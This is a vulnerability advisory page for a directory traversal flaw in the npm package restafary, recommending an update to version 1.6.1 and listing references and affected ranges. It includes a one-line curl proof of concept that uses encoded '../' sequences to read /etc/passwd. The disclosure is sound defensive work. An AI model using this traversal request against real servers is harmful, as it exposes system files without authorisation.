GHSA-xg5r-8j97-2wrj
Dashboard / Vulnerabilities / GHSA-xg5r-8j97-2wrj
Summary: Directory Traversal in restafary
Details: Affected versions of `restafary` are susceptible to a directory traversal vulnerability when a root path is specified in the configuration. Proof of Concept ``` curl -i -s -k -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd' ``` ## Recommendation Update to version 1.6.1 or later.
References: https://nvd.nist.gov/vuln/detail/CVE-2016-10528, https://github.com/advisories/GHSA-xg5r-8j97-2wrj, https://www.npmjs.com/advisories/89
Affected packages
Package
Name: restafary
Purl: pkg:npm/restafary
Affected ranges
Type: SEMVER
Events:
Introduced- 0
Fixed -1.6.1
Affected versions
Common Vulnerability Scoring System
Attack Vector
Network
Adjacent
Local
Physical
Privileges Required
None
Low
High
User Interaction
None
Required
Scope
Unchanged
Changed
Confidentiality
None
Low
High
Integrity
None
Low
High
Availability
None
Low
High
